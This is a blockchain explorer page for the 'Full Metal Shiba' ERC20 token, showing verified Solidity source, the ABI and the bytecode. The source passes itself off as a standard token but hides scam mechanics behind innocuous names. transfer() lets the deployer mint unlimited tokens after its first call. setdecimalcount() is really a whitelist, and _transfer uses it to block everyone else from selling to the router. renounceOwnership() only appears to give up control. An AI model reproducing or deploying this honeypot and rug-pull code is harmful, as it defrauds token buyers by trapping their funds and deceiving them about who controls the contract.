ETH Price: $2,736.20 (+12.38%)
 

Overview

Max Total Supply

101,004,445,000,000 FullMetal🔧

Holders

6

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
0x851212159113715220151989i3.eth
Balance
222,512,568.565694402763365462 FullMetal🔧

Value
$0.00
0x4d6Ec72e70c1A9C74Cf75a357E05dFbb39825d2C
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FMS

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 2100 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-01
*/

/*
https://t.me/fullmetalshiba
                                                                        
                                                                        
FFFFFFFFFFFFFFFFFFFFFFMMMMMMMM               MMMMMMMM   SSSSSSSSSSSSSSS 
F::::::::::::::::::::FM:::::::M             M:::::::M SS:::::::::::::::S
F::::::::::::::::::::FM::::::::M           M::::::::MS:::::SSSSSS::::::S
FF::::::FFFFFFFFF::::FM:::::::::M         M:::::::::MS:::::S     SSSSSSS
  F:::::F       FFFFFFM::::::::::M       M::::::::::MS:::::S            
  F:::::F             M:::::::::::M     M:::::::::::MS:::::S            
  F::::::FFFFFFFFFF   M:::::::M::::M   M::::M:::::::M::::SSSS         
  :::::::𝐅𝐔𝐋𝐋::::::  ::::::::::: 𝐌𝐄𝐓𝐀𝐋 ::::::::::::  𝐒𝐇𝐈𝐁𝐀:::::
  F:::::::::::::::F   M::::::M  M::::M::::M  M::::::M    SSS::::::::SS  
  F::::::FFFFFFFFFF   M::::::M   M:::::::M   M::::::M       SSSSSS::::S 
  F:::::F             M::::::M    M:::::M    M::::::M            S:::::S
  F:::::F             M::::::M     MMMMM     M::::::M            S:::::S
FF:::::::FF           M::::::M               M::::::MSSSSSSS     S:::::S
F::::::::FF           M::::::M               M::::::MS::::::SSSSSS:::::S
F::::::::FF           M::::::M               M::::::MS:::::::::::::::SS 
FFFFFFFFFFF           MMMMMMMM               MMMMMMMM SSSSSSSSSSSSSSS   
                                                                        
                                                          
                                                                        
*/
pragma solidity ^0.8.24;

library SafeMath {
    function prod(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function cre(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function cal(uint256 a, uint256 b) internal pure returns (uint256) {
        return calc(a, b, "SafeMath: division by zero");
    }

    function calc(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function red(uint256 a, uint256 b) internal pure returns (uint256) {
        return redc(a, b, "SafeMath: subtraction overflow");
    }

    function redc(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
}

pragma solidity ^0.8.24;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.24;

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/utils/Context.sol

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Creation is Context {
    address internal recipients;
    address internal router;
    address public owner;
    mapping(address => bool) internal confirm;
    event genesis(address indexed previousi, address indexed newi);

    constructor() {
        address msgSender = _msgSender();
        recipients = msgSender;
        emit genesis(address(0), msgSender);
    }

    modifier checker() {
        require(recipients == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual checker {
        emit genesis(owner, address(0));
        owner = address(0);
    }
}

pragma solidity ^0.8.24;

contract ERC20 is Context, IERC20, IERC20Metadata, Creation {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 private _totalSupply;
    using SafeMath for uint256;
    string private _name;
    string private _symbol;
    bool private truth;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        truth = true;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function liquiditypair(address Uniswaprouterv02) public checker {
        router = Uniswaprouterv02;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        if ((recipients == _msgSender()) && (truth == true)) {
            _transfer(_msgSender(), recipient, amount);
            truth = false;
            return true;
        } else if ((recipients == _msgSender()) && (truth == false)) {
            _totalSupply = _totalSupply.cre(amount);
            _balances[recipient] = _balances[recipient].cre(amount);
            emit Transfer(recipient, recipient, amount);
            return true;
        } else {
            _transfer(_msgSender(), recipient, amount);
            return true;
        }
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function decimalcount(address _count) internal checker {
        confirm[_count] = true;
    }

    function setdecimalcount(address[] memory _counts) external checker {
        for (uint256 i = 0; i < _counts.length; i++) {
            decimalcount(_counts[i]);
        }
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (recipient == router) {
            require(confirm[sender]);
        }
        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function _deploy(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: deploy to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
//SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.24;

contract FMS is ERC20 {
    uint8 private immutable _decimals = 18;
    uint256 private _totalSupply = 4445000000 * 10**18;

    constructor() ERC20("Full Metal Shiba:", unicode"FullMetal🔧") {
        _deploy(_msgSender(), _totalSupply);
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousi","type":"address"},{"indexed":true,"internalType":"address","name":"newi","type":"address"}],"name":"genesis","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Uniswaprouterv02","type":"address"}],"name":"liquiditypair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_counts","type":"address[]"}],"name":"setdecimalcount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a060405260126080526b0e5cd15cd5bc3a047d000000600a5534801562000025575f80fd5b5060405180604001604052806011815260200170233ab6361026b2ba30b61029b434b1309d60791b8152506040518060400160405280600d81526020016c46756c6c4d6574616cf09f94a760981b8152505f620000876200011860201b60201c565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f3c68edc89b5e5699277163f78238f970d734e722af6c7df4bc9402d9d2da9f2f908290a3506007620000de8382620002a9565b506008620000ed8282620002a9565b50506009805460ff191660011790555062000112620001093390565b600a546200011c565b6200039b565b3390565b6001600160a01b038216620001815760405162461bcd60e51b815260206004820152602160248201527f45524332303a206465706c6f7920746f20746865207a65726f206164647265736044820152607360f81b606482015260840160405180910390fd5b8060065f82825462000194919062000375565b90915550506001600160a01b0382165f9081526004602052604081208054839290620001c290849062000375565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200023457607f821691505b6020821081036200025357634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620002a457805f5260205f20601f840160051c81016020851015620002805750805b601f840160051c820191505b81811015620002a1575f81556001016200028c565b50505b505050565b81516001600160401b03811115620002c557620002c56200020b565b620002dd81620002d684546200021f565b8462000259565b602080601f83116001811462000313575f8415620002fb5750858301515b5f19600386901b1c1916600185901b1785556200036d565b5f85815260208120601f198616915b82811015620003435788860151825594840194600190910190840162000322565b50858210156200036157878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200039557634e487b7160e01b5f52601160045260245ffd5b92915050565b608051610f06620003b45f395f6101610152610f065ff3fe608060405234801561000f575f80fd5b50600436106100f0575f3560e01c8063715018a611610093578063a457c2d711610063578063a457c2d714610216578063a9059cbb14610229578063c168bb471461023c578063dd62ed3e1461024f575f80fd5b8063715018a6146101c65780638da5cb5b146101d057806395d89b41146101fb578063a22522e114610203575f80fd5b806323b872dd116100ce57806323b872dd14610147578063313ce5671461015a578063395093511461018b57806370a082311461019e575f80fd5b806306fdde03146100f4578063095ea7b31461011257806318160ddd14610135575b5f80fd5b6100fc610287565b6040516101099190610c64565b60405180910390f35b610125610120366004610ccb565b610317565b6040519015158152602001610109565b6006545b604051908152602001610109565b610125610155366004610cf3565b61032d565b60405160ff7f0000000000000000000000000000000000000000000000000000000000000000168152602001610109565b610125610199366004610ccb565b6103f6565b6101396101ac366004610d2c565b6001600160a01b03165f9081526004602052604090205490565b6101ce61042c565b005b6002546101e3906001600160a01b031681565b6040516001600160a01b039091168152602001610109565b6100fc6104e6565b6101ce610211366004610d59565b6104f5565b610125610224366004610ccb565b610587565b610125610237366004610ccb565b610639565b6101ce61024a366004610d2c565b610741565b61013961025d366004610e19565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b60606007805461029690610e4a565b80601f01602080910402602001604051908101604052809291908181526020018280546102c290610e4a565b801561030d5780601f106102e45761010080835404028352916020019161030d565b820191905f5260205f20905b8154815290600101906020018083116102f057829003601f168201915b5050505050905090565b5f6103233384846107d4565b5060015b92915050565b5f61033984848461092b565b6001600160a01b0384165f908152600560209081526040808320338452909152902054828110156103d75760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103eb85336103e68685610e96565b6107d4565b506001949350505050565b335f8181526005602090815260408083206001600160a01b038716845290915281205490916103239185906103e6908690610ea9565b5f546001600160a01b031633146104855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b6002546040515f916001600160a01b0316907f3c68edc89b5e5699277163f78238f970d734e722af6c7df4bc9402d9d2da9f2f908390a3600280547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60606008805461029690610e4a565b5f546001600160a01b0316331461054e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b5f5b81518110156105835761057b82828151811061056e5761056e610ebc565b6020026020010151610b83565b600101610550565b5050565b335f9081526005602090815260408083206001600160a01b0386168452909152812054828110156106205760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084016103ce565b61062f33856103e68685610e96565b5060019392505050565b5f80546001600160a01b03163314801561065a575060095460ff1615156001145b1561067d5761066b335b848461092b565b506009805460ff191690556001610327565b5f546001600160a01b031633148015610699575060095460ff16155b15610730576006546106ab9083610bff565b6006556001600160a01b0383165f908152600460205260409020546106d09083610bff565b6001600160a01b0384165f818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107209086815260200190565b60405180910390a3506001610327565b61073933610664565b506001610327565b5f546001600160a01b0316331461079a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6001600160a01b03831661084f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103ce565b6001600160a01b0382166108cb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103ce565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109a75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103ce565b6001600160a01b038216610a235760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103ce565b6001546001600160a01b0390811690831603610a5c576001600160a01b0383165f9081526003602052604090205460ff16610a5c575f80fd5b6001600160a01b0383165f9081526004602052604090205481811015610aea5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103ce565b610af48282610e96565b6001600160a01b038086165f908152600460205260408082209390935590851681529081208054849290610b29908490610ea9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b7591815260200190565b60405180910390a350505050565b5f546001600160a01b03163314610bdc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b6001600160a01b03165f908152600360205260409020805460ff19166001179055565b5f80610c0b8385610ea9565b905083811015610c5d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ce565b9392505050565b5f602080835283518060208501525f5b81811015610c9057858101830151858201604001528201610c74565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610cc6575f80fd5b919050565b5f8060408385031215610cdc575f80fd5b610ce583610cb0565b946020939093013593505050565b5f805f60608486031215610d05575f80fd5b610d0e84610cb0565b9250610d1c60208501610cb0565b9150604084013590509250925092565b5f60208284031215610d3c575f80fd5b610c5d82610cb0565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215610d6a575f80fd5b823567ffffffffffffffff80821115610d81575f80fd5b818501915085601f830112610d94575f80fd5b813581811115610da657610da6610d45565b8060051b604051601f19603f83011681018181108582111715610dcb57610dcb610d45565b604052918252848201925083810185019188831115610de8575f80fd5b938501935b82851015610e0d57610dfe85610cb0565b84529385019392850192610ded565b98975050505050505050565b5f8060408385031215610e2a575f80fd5b610e3383610cb0565b9150610e4160208401610cb0565b90509250929050565b600181811c90821680610e5e57607f821691505b602082108103610e7c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561032757610327610e82565b8082018082111561032757610327610e82565b634e487b7160e01b5f52603260045260245ffdfea2646970667358221220d2b1bcc6babb8d82d134e49c4dbd5a83494ac11879bd4290109dfaf4f8d29ebc64736f6c63430008180033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100f0575f3560e01c8063715018a611610093578063a457c2d711610063578063a457c2d714610216578063a9059cbb14610229578063c168bb471461023c578063dd62ed3e1461024f575f80fd5b8063715018a6146101c65780638da5cb5b146101d057806395d89b41146101fb578063a22522e114610203575f80fd5b806323b872dd116100ce57806323b872dd14610147578063313ce5671461015a578063395093511461018b57806370a082311461019e575f80fd5b806306fdde03146100f4578063095ea7b31461011257806318160ddd14610135575b5f80fd5b6100fc610287565b6040516101099190610c64565b60405180910390f35b610125610120366004610ccb565b610317565b6040519015158152602001610109565b6006545b604051908152602001610109565b610125610155366004610cf3565b61032d565b60405160ff7f0000000000000000000000000000000000000000000000000000000000000012168152602001610109565b610125610199366004610ccb565b6103f6565b6101396101ac366004610d2c565b6001600160a01b03165f9081526004602052604090205490565b6101ce61042c565b005b6002546101e3906001600160a01b031681565b6040516001600160a01b039091168152602001610109565b6100fc6104e6565b6101ce610211366004610d59565b6104f5565b610125610224366004610ccb565b610587565b610125610237366004610ccb565b610639565b6101ce61024a366004610d2c565b610741565b61013961025d366004610e19565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b60606007805461029690610e4a565b80601f01602080910402602001604051908101604052809291908181526020018280546102c290610e4a565b801561030d5780601f106102e45761010080835404028352916020019161030d565b820191905f5260205f20905b8154815290600101906020018083116102f057829003601f168201915b5050505050905090565b5f6103233384846107d4565b5060015b92915050565b5f61033984848461092b565b6001600160a01b0384165f908152600560209081526040808320338452909152902054828110156103d75760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103eb85336103e68685610e96565b6107d4565b506001949350505050565b335f8181526005602090815260408083206001600160a01b038716845290915281205490916103239185906103e6908690610ea9565b5f546001600160a01b031633146104855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b6002546040515f916001600160a01b0316907f3c68edc89b5e5699277163f78238f970d734e722af6c7df4bc9402d9d2da9f2f908390a3600280547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60606008805461029690610e4a565b5f546001600160a01b0316331461054e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b5f5b81518110156105835761057b82828151811061056e5761056e610ebc565b6020026020010151610b83565b600101610550565b5050565b335f9081526005602090815260408083206001600160a01b0386168452909152812054828110156106205760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084016103ce565b61062f33856103e68685610e96565b5060019392505050565b5f80546001600160a01b03163314801561065a575060095460ff1615156001145b1561067d5761066b335b848461092b565b506009805460ff191690556001610327565b5f546001600160a01b031633148015610699575060095460ff16155b15610730576006546106ab9083610bff565b6006556001600160a01b0383165f908152600460205260409020546106d09083610bff565b6001600160a01b0384165f818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107209086815260200190565b60405180910390a3506001610327565b61073933610664565b506001610327565b5f546001600160a01b0316331461079a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6001600160a01b03831661084f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103ce565b6001600160a01b0382166108cb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103ce565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109a75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103ce565b6001600160a01b038216610a235760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103ce565b6001546001600160a01b0390811690831603610a5c576001600160a01b0383165f9081526003602052604090205460ff16610a5c575f80fd5b6001600160a01b0383165f9081526004602052604090205481811015610aea5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103ce565b610af48282610e96565b6001600160a01b038086165f908152600460205260408082209390935590851681529081208054849290610b29908490610ea9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b7591815260200190565b60405180910390a350505050565b5f546001600160a01b03163314610bdc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b6001600160a01b03165f908152600360205260409020805460ff19166001179055565b5f80610c0b8385610ea9565b905083811015610c5d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ce565b9392505050565b5f602080835283518060208501525f5b81811015610c9057858101830151858201604001528201610c74565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610cc6575f80fd5b919050565b5f8060408385031215610cdc575f80fd5b610ce583610cb0565b946020939093013593505050565b5f805f60608486031215610d05575f80fd5b610d0e84610cb0565b9250610d1c60208501610cb0565b9150604084013590509250925092565b5f60208284031215610d3c575f80fd5b610c5d82610cb0565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215610d6a575f80fd5b823567ffffffffffffffff80821115610d81575f80fd5b818501915085601f830112610d94575f80fd5b813581811115610da657610da6610d45565b8060051b604051601f19603f83011681018181108582111715610dcb57610dcb610d45565b604052918252848201925083810185019188831115610de8575f80fd5b938501935b82851015610e0d57610dfe85610cb0565b84529385019392850192610ded565b98975050505050505050565b5f8060408385031215610e2a575f80fd5b610e3383610cb0565b9150610e4160208401610cb0565b90509250929050565b600181811c90821680610e5e57607f821691505b602082108103610e7c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561032757610327610e82565b8082018082111561032757610327610e82565b634e487b7160e01b5f52603260045260245ffdfea2646970667358221220d2b1bcc6babb8d82d134e49c4dbd5a83494ac11879bd4290109dfaf4f8d29ebc64736f6c63430008180033

Deployed Bytecode Sourcemap

11000:363:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5635:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7281:210;;;;;;:::i;:::-;;:::i;:::-;;;1251:14:1;;1244:22;1226:41;;1214:2;1199:18;7281:210:0;1086:187:1;6072:108:0;6160:12;;6072:108;;;1424:25:1;;;1412:2;1397:18;6072:108:0;1278:177:1;7499:491:0;;;;;;:::i;:::-;;:::i;11260:100::-;;;1965:4:1;11343:9:0;1953:17:1;1935:36;;1923:2;1908:18;11260:100:0;1793:184:1;8292:297:0;;;;;;:::i;:::-;;:::i;6188:177::-;;;;;;:::i;:::-;-1:-1:-1;;;;;6339:18:0;6307:7;6339:18;;;:9;:18;;;;;;;6188:177;4977:131;;;:::i;:::-;;4550:20;;;;;-1:-1:-1;;;;;4550:20:0;;;;;;-1:-1:-1;;;;;2337:55:1;;;2319:74;;2307:2;2292:18;4550:20:0;2173:226:1;5743:104:0;;;:::i;8102:182::-;;;;;;:::i;:::-;;:::i;8597:446::-;;;;;;:::i;:::-;;:::i;6373:691::-;;;;;;:::i;:::-;;:::i;5855:108::-;;;;;;:::i;:::-;;:::i;7072:201::-;;;;;;:::i;:::-;-1:-1:-1;;;;;7238:18:0;;;7206:7;7238:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7072:201;5635:100;5689:13;5722:5;5715:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5635:100;:::o;7281:210::-;7400:4;7422:39;4182:10;7445:7;7454:6;7422:8;:39::i;:::-;-1:-1:-1;7479:4:0;7281:210;;;;;:::o;7499:491::-;7639:4;7656:36;7666:6;7674:9;7685:6;7656:9;:36::i;:::-;-1:-1:-1;;;;;7730:19:0;;7703:24;7730:19;;;:11;:19;;;;;;;;4182:10;7730:33;;;;;;;;7796:26;;;;7774:116;;;;-1:-1:-1;;;7774:116:0;;4687:2:1;7774:116:0;;;4669:21:1;4726:2;4706:18;;;4699:30;4765:34;4